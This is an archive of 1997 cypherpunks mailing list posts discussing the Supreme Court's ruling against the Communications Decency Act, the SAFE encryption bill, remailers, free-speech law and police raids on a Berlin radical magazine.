tactic for the courts to refer to post-ratification laws to support
limits on Constitutional rights.



Mark
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 26 Jun 1997 10:45:43 +0800
To: cypherpunks@toad.com
Subject: Re: One Ryder Truck--One Vote
Message-ID: <199706260229.VAA32436@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


In <3.0.2.32.19970625185156.030f3bbc@popd.ix.netcom.com>, on 06/25/97 
   at 06:51 PM, Bill Stewart <stewarts@ix.netcom.com> said:

>At 05:53 AM 6/25/97 -0700, Nobody wrote:
>>  Voting is the new Catch-22/Damned if you do, damned if you don't,
>>etc, etc. It's time for a new non-candidate that is a cross between
>>Pat Paulsen ("If elected, I will not serve.") and Abby Hoffmean
>>("Steal This Book.").
>>  My inclination is for a candidate named "Fuck You!", but I'm sure
>>someone else can come up with a more creative candidate. 

>Wavy Gravy has occasionally run a "Nobody For President" campaign. "Who'd
>be the best President?"		"Nobody!"
>"Who's going to balance the budget?"	"Nobody!"
>"Who's going to fix the schools?"		"Nobody!"
>"Who can you trust with the Bomb?"		"Nobody!"
>"Which candidate cares about the poor?"	"Nobody!"

>A few years back, the Libertarian Party was trying to get
>on the ballot in Washington State by running a governor campaign. They
>didn't make it, because they lost the protest votes to a candidate who
>changed his name to "Absolutely Nobody".
>Absolutely Nobody got about 7% of the vote.

>(The unfortunate followup story later ran in the SF Chron 
>under the title "Absolutely Nobody died today"; he was in
>politics because he was an AIDS activist, and had the disease.)

>During the '92 elections, I was considering getting 
>Frank Zappa on the ballot in New Jersey.  He'd already dropped out of the
>race due to his cancer, but it only takes 1000 signatures there, which
>would have been an afternoon's work at Rutgers.
>He's dead now, but he probably would enjoy running anyway :-)

Is there anything against putting a deadman on the ballot?

Seems like the ultimate protest elect a deadman!

What the hell they can vote in Chicago why shouldn't they have
representation. :)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: landon_dyer@wayfarer.com (Landon Dyer)
Date: Thu, 26 Jun 1997 12:57:46 +0800
To: cypherpunks@Algebra.COM
Subject: future history of remailers
Message-ID: <3.0.32.19970625212724.00bc77e0@mail.wayfarer.com>
MIME-Version: 1.0
Content-Type: text/plain




  i just picked up greg bear's new SF novel _Slant_.  it's set in mid-
next-century.  i'm only twenty pages into it, so i can't honestly give
it a recommendation yet, but the following is from one of the "chapter
intro" quotes, and it has some cypherpunk-topical stuff in the author's
'techie gobbledygook' in the 2nd paragraph

  [note: possibly offensive ... but if you're on this list, why am i
   bothering to warn you?  :-) ]


>From: Anonymous Remailer
>To: Pope Alexander VII
>Date: December 24 2043
>
>"You're just a Catholic Dickhead, you know that?  Come to my town
>(wouldnt you like to know you shit) sometime and I'll show you a
>GOOD TIME.  Let you bodiguards know that I'm about seven feet tall and
>dressed like the Demons in NUKEY NOOKY which I bet you've plaid too
>you asswipe hippocrit!!!!! Have a nice day!!!!!"
>
>EMAIL Archive (ref Security Inv, Re: Thread = Encyclical 2043 Vatican
>Library> Cultural Tracking STAFF /INDA 332; reverse track through
>Finland> ANONYM REMAIL Code REROUTE> SWITZERLAND/ZIMBABWE> ACCT HDFinster>
>Harrison D. Finster ADDRESS 245 W. Blessoe Street Apt 3-H Greensboro NC
>USA PROFILE> 27 years of age at time of message, >CONCLUSION: FLAME
>PROFILE No action necessary.  ref Vatican Internal Investigator
>comments: "Young, shit for brains.")


  imagine that, the vatican cracking remailers....



  "Democracy is government by the people and for the people, on the
   theory that the people should get the kind of government they
   deserve, good and hard."
                             -- Robert Frezza, _The VMR Theory_





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Thu, 26 Jun 1997 13:58:59 +0800
To: cypherpunks@Algebra.COM
Subject: SAFE: Intl Relations Committee
Message-ID: <3.0.32.19970625214525.006c27c8@best.com>
MIME-Version: 1.0
Content-Type: text/plain




--- fyi ---
does anyone know for sure what the amendments are/were?

SECURITY AND FREEDOM THROUGH ENCRYPTION (SAFE) ACT
Committee on International Relations: Subcommittee on International 
Economic Policy and Trade approved for full Committee action amended 
H.R. 695, Security and Freedom Through Encryption (SAFE) Act.

anyone know what happened in the Senate Judiciary today?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Thu, 26 Jun 1997 13:47:39 +0800
To: cypherpunks@Algebra.COM
Subject: Re: The Grand Compromise is Coming
Message-ID: <3.0.32.19970625223120.009fd2f0@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:01 AM 6/25/97 -0700, Tim May wrote:

>We need to get beyond the sentimentality of concentrating on the
>"innocents" and instead coldly analyze what needs to be done, and then do
>it.
................................................................


After having done what needs to be done, would you then be open to letting
any of the remaining, surviving innocents be apprised of who it was almost
done them in?



    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Thu, 26 Jun 1997 13:47:02 +0800
To: cypherpunks@cyberpass.net
Subject: Re: LOSE MONEY FAST!!
Message-ID: <3.0.32.19970625224625.009ff42c@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



Gosh, this sounds a lot like Detweiler:   

lots of EXCLAMATIONS and vague, circulating references to unrecognizeable
entities, full of recriminating psychological accusations intended to
elicit a sense of underlying guilt for some kind of immoral attitude.

Think he'd make a good lawyer.

    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Thu, 26 Jun 1997 13:50:52 +0800
To: cypherpunks@cyberpass.net
Subject: Re: LOSE MONEY FAST!!
Message-ID: <3.0.32.19970625224903.009fabf0@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



Gosh, this sounds a lot like Detweiler:   

lots of EXCLAMATIONS and vague, circulating references to unrecognizeable
entities, full of recriminating psychological accusations intended to
elicit a sense of underlying guilt for some kind of immoral attitude.

Think he'd make a good lawyer.

    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Thu, 26 Jun 1997 13:49:59 +0800
To: cypherpunks@Algebra.COM
Subject: Re: The Grand Compromise is Coming
Message-ID: <3.0.32.19970625224902.00a00930@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:01 AM 6/25/97 -0700, Tim May wrote:

>We need to get beyond the sentimentality of concentrating on the
>"innocents" and instead coldly analyze what needs to be done, and then do
>it.
................................................................


After having done what needs to be done, would you then be open to letting
any of the remaining, surviving innocents be apprised of who it was almost
done them in?



    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 26 Jun 1997 15:14:04 +0800
To: cypherpunks@Algebra.COM
Subject: Re: How did these people find our list?
In-Reply-To: <3.0.2.32.19970623063123.0092e8c0@popd.ix.netcom.com>
Message-ID: <v0300780eafd7b6cc418c@[207.94.249.169]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:02 AM -0700 6/23/97, Tim May wrote:
>At 3:31 AM -0700 6/23/97, Philip A. Mongelluzzo wrote:
>>I'm sure that the community on this list has discussed this problem at
>>length.  What is the best defense?  How do we get the message out or,
>>better yet, deliver it?
>
>No, actually we have not discussed this "problem" at length. No reason too,
>as this is not a list about parenting and parental techniques and moral
>teachings for children.

Speaking as a parent, the best defense is to be able to discuss the
information your children receive with them.  Your opinion will carry a lot
of weight.  If you say that nice people don't spend their time looking at
photos of naked people, well they are very likely to believe you and act on
that belief.  However, remember that children have a very sensitive
hypocrisy meter.  You better live your own beliefs.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lee Tien <tien@well.com>
Date: Thu, 26 Jun 1997 23:47:29 +0800
To: Deborah Stewart <cypherpunks@Algebra.COM
Subject: Re: Bomb Making Info to be Illegal
In-Reply-To: <199706251817.LAA23297@black.colossus.net>
Message-ID: <v0300780dafd7afb0c3cf@[163.176.132.90]>
MIME-Version: 1.0
Content-Type: text/enriched

 Free speech meant little for more than a hundred years of American history.  

What we think of as the First Amendment slowly came into being starting in the early 1900s.  

E.g., Justice Brandeis' great quotes in Whitney v. California were from his dissenting opinion; when movies first came before the Supreme Court in Mutual Film, they were *not* protected by the First Amendment and that wasn't overruled until 1952!


Lee

PS:  "obscenity" and "child pornography" are not protected speech, but "pornography" is not a legal category.  "Indecency" is a category, and it is protected speech -- the problem is that the government has a compelling interest in controlling minors' access to indecent material.


At 3:34 PM -0700 6/25/97, Deborah Stewart wrote:
[snip]
>
>What's not clear to me, and I wish someone would explain, is how the SC
>managed to find pornography not similarly protected speech.  Arms and
>munitions can be as arousing for some (e.g., Dr. Strangelove) as sex is for
>others.
>
>
>--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Thu, 26 Jun 1997 11:54:09 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: SF RALLY Against Internet Censorship, Thursday or Friday
In-Reply-To: <3.0.2.32.19970625190547.0077eaec@popd.ix.netcom.com>
Message-ID: <Pine.GSO.3.95.970625233051.1967A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



It's most likely to come down Thursday morning. If not, probably next
Monday. 

I've been staking out the Supreme Court every morning. A kind of CDA
deathwatch. A really bad commercial free speech decision today. Still
waiting on assisted suicide, Brady Bill, line item veto as well.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 26 Jun 1997 15:34:57 +0800
To: cypherpunks@toad.com
Subject: Re: digital signature software
In-Reply-To: <19970624025616.AAA17409@ping>
Message-ID: <v0300780fafd7bdfcf308@[207.94.249.169]>
MIME-Version: 1.0
Content-Type: text/plain



Well, there is the DSS/SHA1 support in Java 1.1.

At 3:55 AM -0700 6/24/97, chewp@pacific.net.sg wrote:
>Hi
>
>Besides PGP and RIPEM/SIG, is anyone aware of other
>US-exportable digital signature software?
>
>Thanks
>
>Lip Ping
>
>chewp@pacific.net.sg


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 26 Jun 1997 17:26:22 +0800
To: cypherpunks@toad.com
Subject: Re: The Grand Compromise is Coming
In-Reply-To: <199706251259.IAA19793@dhp.com>
Message-ID: <3.0.2.32.19970626013008.03122dc0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>> This is why I think the "use of a special language or
>> whispering in furtherance of a crime" provisions of SAFE will probably be
>> struck down by the Supremes, unless they, too, have forgotten what the
>> Constitution is all about.)
>
>  Ebonics has to be a natural candidate for pleading this to the
...
>  How about five years for calling a drug "Mary Jane" when writing
> it down, four years for "marijuana", three and a half years for
> "marihuana" and six months for "Cannibus Sativa." Calling it
> simply "Killer shit, man!" would be acceptable.

Back when marijuana was illegal in Oklahoma, during the anti-war years
when everybody was paranoid that their phones were tapped by the FBI,
a friend of mine would occasionally have phone conversations like
	"Hey, Steve, I just got some .... Beer.  Want to come over?"
	"Yeah, Joe, I'd really like some .... Beer.  I'll be there
	in about an hour.  Should I bring some .... Pizza?"

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 26 Jun 1997 21:07:49 +0800
To: cypherpunks@toad.com
Subject: LaMacchia's Revenge, from The Netly News (fwd)
Message-ID: <Pine.GSO.3.95.970626054746.10857C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Thu, 26 Jun 1997 05:47:15 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: LaMacchia's Revenge, from The Netly News



http://cgi.pathfinder.com/netly/opinion/0,1042,1107,00.html

The Netly News Network
June 25, 1997

LaMacchia's Revenge
by Declan McCullagh (declan@well.com)

 David LaMacchia's pirate warez site once hummed
quietly along on a DECstation 5000 just down the hall
from the study lounge on the top floor of MIT's
Stratton Student Center. LaMacchia claims its original
purpose was to let visiting netizens exchange
software. But soon -- either inevitably or
intentionally, depending on whom you believe -- more
and more copyrighted programs began to appear.

  This was enough to prompt the federal government
to charge the MIT undergraduate in April 1994 with the
crime of wire fraud. The indictment argued that his
FTP-like site permitted "on an international scale,
the illegal copying and distribution of copyrighted
software, without payment of software licensing fees."
Yet a federal judge dismissed the case that December,
ruling that while LaMacchia was wrong -- and could be
sued in civil court -- the aspiring computer scientist
was not guilty as charged. Judge Richard Stearns said,
"It is not clear that making criminals of a large
number of consumers of computer software is a result
that even the software industry would consider
desirable."

  Guess again. A group of software companies,
including Microsoft and Adobe, yesterday requested new
laws to eliminate what they termed the "LaMacchia
decision" problem. When a warez site operates for free
-- as most do -- companies currently must sue for
damages in a civil court. In other words, giving that
copy of Quake to your dad is not -- yet -- a federal
felony.

[...]







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brad Dolan <bdolan@USIT.NET>
Date: Thu, 26 Jun 1997 20:13:39 +0800
To: cypherpunks@toad.com
Subject: Another shoe drops
Message-ID: <Pine.GSO.3.95.970626075210.29797D-100000@use.usit.net>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------

Raids Against 'Interim' Autonomist Zine In Berlin

     On June 12, 1997, more than 500 police in Berlin carried out
a series of raids aimed at criminalizing the weekly autonomist
publication 'Interim'. State agents searched several houses in the
Berlin districts of Friedrichshain, Neukolln, and Kreuzberg.
Several individuals were charged with various felonies including
"rewarding or supporting illegal actions". Police also raided
several printing presses.
     A successful criminalization of the Interim would, in
practical terms, be much more of a blow to the German radical-left
than the recent state campaign against the underground publication
Radikal, because whereas Radikal has only been sporadically
published over the past few years, Interim has appeared *every
week* since the late 1980s. Published as a forum for discussion
for Berlin's radical-left autonome scene, the magazine has
political relevance all across Germany, as it provides an
anonymous forum for publishing communiques from militant action
groups, mobilizations for demonstrations, and debates on politics
and strategy.
     The following is a translation of a statement issued by
Interim following the recent raids.

---
"You Can't Ban A Concept"

Statement From Interim Magazine - June 12, 1997

     Interim has been published weekly for nine years. State
surveillance, repression, and investigations have not stopped it
from appearing. The 1995  Verfassungsschutzbericht' [annual report
from Germany's Office to Protect the Constitution] stated that "a
high degree of trust and discipline among the makers of the
magazine" have prevented the authorities from being able to close
it down. But now the powers that be feel they can do just that.
     Therefore, we'd like to say the following:

1. There is no permanent Interim editorial group, nor a fixed
publishing location. The magazine is continually made and put
together by different people.

2. If any papers were found anywhere during the police raids which
also appeared in the Interim, that doesn't mean a thing. The
Interim has a public mailing address, anyone can send us papers or
documents, and as far as we know, it's not a crime to receive
mail.

3. The cops dismantled printing presses, confiscated computers and
files, filed charges against individuals. It's ridiculous to think
that this will stop the Interim. Because the Interim is a
communications CONCEPT: uncensored, according to the law,
published according to its own rules in the interest of an
anonymous exchange about theory and praxis of undogmatic left-radical
politics. As long as the ruling powers are bent on
destroying society, a radical resistance movement will be
necessary, and it's not possible for a discussion of this
necessity to take place within the boundaries of the laws of the
powers that be. If Schonbohm [former General, now Interior
Minister in Berlin] tries to stop our communication exchange by
confiscations and arrests, he might just as well try to handcuff a
mountain stream. If forced to operate entirely outside of legal
boundaries, that's what we'll do, and there will always be people
willing to make this communications concept possible and who can
run it and diversify it.

4. We view the raids against part of the Interim's structures at
this point in time as a flanking maneuver in the war which
Schonbohm and Ladowski have declared. At a time when resistance to
their cleansing policies is increasing - inner-city actions,
university congresses, mobilizations by squatters, the homeless,
and immigrants - the state wants to eliminate the forum by which
all these forms of resistance can be linked together.

     Even if we aren't able to continue the discussion about our
politics (our politicians??), one thing is clear: Schonbohm has
declared war, and we will react. Repression breeds revolts. We
promise that the next issue of the Interim will be published on
time, with the theme of how we can go on the offensive against
those who want to cleanse the city [before it becomes Germany's
capital again]. All those who wish to participate in this
discussion will find ways of getting their texts to the Interim.

Interim - Weekly Berlin Info

---
Interim On The Internet

     In order to do something about the criminalization of the
Interim, Trend Online in Berlin has set up a Solidarity Homepage
for the publication with news about the recent raids, and we at
Arm The Spirit have set up a mirrorsite. This is to be seen as an
expansion of the publication, not a substitute for it. Interim is
a weekly hardcopy publication and plans to stay that way.

Trend Online's Interim Solidarity Page:
http://www.berlinet.de/trend/interim/

Arm The Spirit's Interim Mirror Site:
http://burn.ucsd.edu/~ats/INTERIM/index.htm

-----------------------------------------------------------------
Arm The Spirit is an autonomist/anti-imperialist information
collective based in Toronto, Canada. Our focus includes a wide 
variety of material, including political prisoners, national 
liberation struggles, armed communist resistance, anti-fascism, 
the fight against patriarchy, and more. We regularly publish our 
writings, research, and translation materials on our listserv
called ATS-L. For more information, contact:

Arm The Spirit
P.O. Box 6326, Stn. A
Toronto, Ontario
M5W 1P7 Canada

E-mail: ats@etext.org
WWW: http://burn.ucsd.edu/~ats
ATS-L Archives: http://burn.ucsd.edu/archives/ats-l
MRTA Solidarity Page: http://burn.ucsd.edu/~ats/mrta.htm
FTP: ftp.etext.org --> /pub/Politics/Arm.The.Spirit





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Thu, 26 Jun 1997 21:13:00 +0800
To: geeman@best.com
Subject: Re: SAFE: Intl Relations Committee
In-Reply-To: <3.0.32.19970625214525.006c27c8@best.com>
Message-ID: <Pine.GSO.3.95.970626084014.12007A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



I forwarded Amy's report which was quite detailed and I believe quite
accurate. I don't have time to type in the amendments myself...

-Declan


On Wed, 25 Jun 1997 geeman@best.com wrote:

> 
> --- fyi ---
> does anyone know for sure what the amendments are/were?
> 
> SECURITY AND FREEDOM THROUGH ENCRYPTION (SAFE) ACT
> Committee on International Relations: Subcommittee on International 
> Economic Policy and Trade approved for full Committee action amended 
> H.R. 695, Security and Freedom Through Encryption (SAFE) Act.
> 
> anyone know what happened in the Senate Judiciary today?
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 27 Jun 1997 00:29:11 +0800
To: "Mark M." <cypherpunks@Algebra.COM
Subject: Re: Bomb Making Info to be Illegal
In-Reply-To: <v03102803afd74b50dcd5@[10.0.2.15]>
Message-ID: <v0310280bafd83fcea0f8@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:13 PM -0400 6/25/97, Mark M. wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>Steve wrote:
>
>> What's not clear to me, and I wish someone would explain, is how the SC
>> managed to find pornography not similarly protected speech.  Arms and
>> munitions can be as arousing for some (e.g., Dr. Strangelove) as sex is for
>> others.
>
>It appears that Roth v. United States was the first case before that the
>U.S. SC decided that "obscenity" was not protected by the 1st Amendment.
>The reasoning was that while offensive, unorthodox, or hateful ideas
>are protected by the 1st, they, unlike pornography, have at least *some*
>redeeming social value.  The court noted that laws enacted after the
>ratification of the U.S. Constitution banned several different kinds of
>speech, including profanity, blasphemy, and libel.  It's a very common
>tactic for the courts to refer to post-ratification laws to support
>limits on Constitutional rights.

I can't see that anyone, including the courts, should use redeeming social
value as a yardstick.  This term has all the hateful aspects of one group's
mores being used to limit the freedom of their neighbor in the privacy of
their home and thoughts.  After all, one man's ceiling is another man's
floor.

What if we create religion who's practice requires use and possesion of
child porn?  Wonder how the SC would rule, given its rulings allowing use
of peyote by certain native American tribes and against the Mormons on the
issue of bigemy.

I think resistance to such limitations should go beyond legal avenues.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 27 Jun 1997 00:56:04 +0800
To: cypherpunks@toad.com
Subject: CDA STRUCK DOWN BY SUPREME COURT, from the Netly News
Message-ID: <Pine.GSO.3.95.970626094105.3126C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Thu, 26 Jun 1997 09:40:28 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: CDA STRUCK DOWN BY SUPREME COURT, from the Netly News

[Check out netlynews.com for updates throughout the day. --Declan]

---

http://cgi.pathfinder.com/netly/opinion/0,1042,1110,00.html

The Netly News
CDA STRUCK DOWN!

June 26, 1997, 11:30 am
by Declan McCullagh (declan@well.com)
   
       The U.S. Supreme Court, in a landmark decision that firmly
   establishes unbridled free speech in cyberspace, struck
   down the Communications Decency Act. In a 40-page majority opinion
   opinion handed down this morning, the Justices determined that the act
   is unconstitutional. The court also resoundingly rejected the argument
   that broadcast standards should apply to the Internet.
   
       The Justices unanimously ruled that the so-called "display
   provision" -- which would effectively render the Net "child safe" --
   was patently unconstitutional. "The interest in encouraging freedom of
   expression in a democratic society outweighs any theoretical but
   unproven benefit of censorship," wrote Justice John Paul Stevens. In a
   7-to-2 decision, the court also struck down the other half of the CDA,
   which banned "indecent transmission" to a minor. The minority
   argued that such a limitation would not interfere "with the First
   Amendment rights of adults." Justices Sandra Day O'Connor and William
   Rehnquist were the lone dissenters on that point in a 13-page minority
   opinion.

        "This is the landmark decision that many of us anticipated," said
   David Sobel, staff counsel at the Electronic Privacy Information
   Center and co-counsel on the case. Phil Gutis of the American Civil
   Liberties Union -- the lead plaintiff in Reno v. ACLU -- said the
   decision left no wriggle room for CDA supporters: "It's going to be
   very hard for Congress to go back and say the court left us this
   opening. They didn't."
   
        Yet CDA supporters promised to keep up the fight. Against the
   backdrop of a dozen anti-porn activists, Cathy Cleaver, the director
   of legal policy for the Family Research Council, proclaimed that,
   "today we're going to see the floodgates of pornography open on the
   internet. This is not a good time to be a child. We're not going to
   give up the fight to protect children online."
   
       In spite of such perceived dangers, the court apparently realized
   the unique nature of the Internet and appreciated the fact that it is
   a new and developing medium. "Neither before nor after the enactment
   of the CDA have the vast democratic fora of the Internet been subject
   to the type of government supervision and regulation that has attended
   the broadcast industry. Moreover, the Internet is not as 'invasive' as
   radio or television," the majority wrote. The CDA "threatens to torch
   a large segment of the Internet community."
   
        The chief congressional opponent of the CDA applauded the court's
   recognition that the Internet is wholly unlike broadcast media.
   "Giving full force to the first amendment online is a victory for the
   first amendment, for american technology, and for democracy," said
   Sen. Patrick Leahy (D-VT) in a statement. "The CDA was misguided and
   unworkable. It reflected a fundamental misunderstanding of the
   technology of the Internet."
  
###






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "patrick van eecke" <Patrick.VanEecke@law.kuleuven.ac.be>
Date: Thu, 26 Jun 1997 16:26:58 +0800
To: <cypherpunks@toad.com>
Subject: Digital Signatures
Message-ID: <vines.okl8+W4WgnA@vinip.cc.kuleuven.ac.be>
MIME-Version: 1.0
Content-Type: text/plain



The Interdisciplinary Centre for Law and Information Technology from the 
University of Leuven is currently carrying out a study on the legal aspects 
of Digital Signatures. The current and draft legislation, policies and 
practices of the European Member States as well as the EC's most important 
trading partners is being investigated and analysed. Final aim of the study 
is to provide tools for a common European legal instrument regarding Digital 
Signatures.

More information about the project and important links you can find on the 
website:
http://www.law.kuleuven.ac.be/icri/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Thu, 26 Jun 1997 22:24:36 +0800
To: cypherpunks@Algebra.COM
Subject: CDA Overturned
Message-ID: <3.0.2.32.19970626101745.035dc70c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



06/26/1997 10:07 EST 

 Court Nixes Internet Smut Provision 


WASHINGTON (AP) -- Congress violated free-speech rights when it tried to curb smut on the Internet, the Supreme Court ruled today. In its first venture into cyberspace law, the court invalidated a key provision of the 1996 Communications Decency Act.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 27 Jun 1997 07:04:11 +0800
To: tcmay@got.net
Subject: there is no middle ground (Re: The Grand Compromise is Coming)
In-Reply-To: <v0310280bafd607388c55@[207.167.93.63]>
Message-ID: <199706260918.KAA00420@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Tim May <tcmay@got.net> writes:
> But I don't get the point of what would be gained by my testimony. It
> wouldn't  help the Cause.

Reasoning was following on from Eric Murrays:

: how much further than completely free crypto can you go?

Most of the lobbyists as far as I can make out are talking in terms of
privacy from government, right to free speech.

Not in terms of eroding government power, avoiding taxes, making 
governments obsolete, nor in terms of hostility towards the legitimacy 
of government, it's methods etc.

So you might argue that this would make the privacy lobyists seem more
middle of the road.  However crypto is binary, either it's free, or
it's GAKked, so they (the privacy lobbyists) can't disavow crypto
anarchy, because it's a consequence of the technology and legal frame
work they want for privacy.  There's nothing in between.

My conclusion was that the crypto anarchy conclusions are pretty much 
in line with some of the NSAs scare stories and their spin is being 
used as an argument for GAK.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 27 Jun 1997 07:04:52 +0800
To: vznuri@netcom.com
Subject: Re: LOSE MONEY FAST!!
In-Reply-To: <199706250451.VAA24476@netcom4.netcom.com>
Message-ID: <199706260922.KAA00427@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Vladimir Nuri <vznuri@netcom.com> quotes some whistle blower:

> FRN directors are involved in a complex STOCK MANIPULATION SCHEME in
> which they are selling additional shares of the company beyond those
> in circulation, with only the hazy knowledge of the existing
> stockholders. This is being done IN COLLUSION WITH GOVERNMENT
> REGULATORS, who are receiving kickbacks from the operation! In other
> words, individual investors of FRN believe they own 1/n of the
> company, when in fact there are more shares in existence and they
> actually own far less than the fraction indicated on their
> certificates!

That scenario sounds familiar.  FRN wouldn't be FRB (Federal Reserve Board),
aka US government manipulation of the money supply to use inflation as an
invisible tax would it?  (Or any government, they all do it).

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Thu, 26 Jun 1997 22:29:04 +0800
To: cypherpunks@Algebra.COM
Subject: CDA Overturned - AP Write through 9-0
Message-ID: <3.0.2.32.19970626102455.035e30f0@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



9-0 I called it.


06/26/1997 10:16 EST

Court Nixes Internet Smut Provision


WASHINGTON (AP) -- Congress violated free-speech rights when it tried to curb smut on the Internet, the Supreme Court ruled today. In its first venture into cyberspace law, the court invalidated a key provision of the 1996 Communications Decency Act.

Congress' effort to protect children from sexually explicit material goes too far because it also would keep such material from adults who have a right to see it, the justices unanimously said.

The law made it a crime to put adult-oriented material online where children can find it. The measure has never taken effect because it was blocked last year by a three-judge court in Philadelphia.

``We agree with the three-judge district court that the statute abridges the freedom of speech protected by the First Amendment,'' Justice John Paul Stevens wrote for the court.

``The (Communications Decency Act) is a content-based regulation of speech,'' he wrote. ``The vagueness of such a regulation raises special First Amendment concerns because of its obvious chilling effect on free speech.''

``As a matter of constitutional tradition ... we presume that governmental regulation of the content of speech is more likely to interfere with the free exchange of ideas than to encourage it,'' Stevens wrote.

Sexually explicit words and pictures are protected by the Constitution's First Amendment if they are deemed indecent but not obscene.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 27 Jun 1997 00:37:22 +0800
To: cypherpunks@cyberpass.net
Subject: Re: new money systems
Message-ID: <199706261629.LAA01240@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



